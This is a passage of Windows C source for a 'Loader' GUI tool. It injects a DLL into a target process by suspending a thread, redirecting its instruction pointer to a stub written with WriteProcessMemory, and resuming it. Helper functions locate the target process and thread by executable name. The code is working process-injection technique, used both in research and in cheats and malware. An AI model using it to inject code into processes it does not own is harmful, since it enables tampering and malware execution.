   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)19, (LPARAM)NULL);
   ctx.ContextFlags = CONTEXT_CONTROL;
   GetThreadContext(hThread, &ctx);
   oldIP   = ctx.Eip;
   ctx.Eip = (DWORD)stub;
   ctx.ContextFlags = CONTEXT_CONTROL;

   VirtualProtect(loadDll, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);
   memcpy((void *)((unsigned long)loadDll + 1), &oldIP, 4);
   memcpy((void *)((unsigned long)loadDll + 8), &dllString, 4);
   memcpy((void *)((unsigned long)loadDll + 13), &loadLibAddy, 4);
   addEntry("..Writing data to process", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)20, (LPARAM)NULL);

   WriteProcessMemory(hProcess, stub, loadDll, stubLen, NULL);
   addEntry("..New context thread", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)21, (LPARAM)NULL);
   SetThreadContext(hThread, &ctx);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)22, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);

   addEntry("Resuming thread..", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)24, (LPARAM)NULL);
   ResumeThread(hThread);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)25, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);

   addEntry("Waiting for execution...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)27, (LPARAM)NULL);
   Sleep(500);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)28, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);

   addEntry("Cleaning up...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)30, (LPARAM)NULL);
   VirtualFreeEx(hProcess, dllString, strlen(DLL_NAME), MEM_DECOMMIT);
   VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT);
   CloseHandle(hProcess);
   CloseHandle(hThread);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)31, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);
   addEntry("Status: OK!", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)33, (LPARAM)NULL);

   return 0;
}


unsigned long GetTargetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = FALSE;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return FALSE;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);
   retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = TRUE;
         CloseHandle(thSnapshot);
		 return pe.th32ProcessID;;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   return FALSE;
}

unsigned long GetTargetThreadIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot, hProcess;
   BOOL retval, ProcFound = FALSE;
   unsigned long pTID, threadID;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return FALSE;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = TRUE;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   
   __asm {
      mov eax, fs:[0x18]
      add eax, 36
      mov [pTID], eax
   }

   hProcess = OpenProcess(PROCESS_VM_READ, FALSE, pe.th32ProcessID);
   ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL);
   CloseHandle(hProcess);

   return threadID;
}
Viewing all 4617 articles
Browse latest View live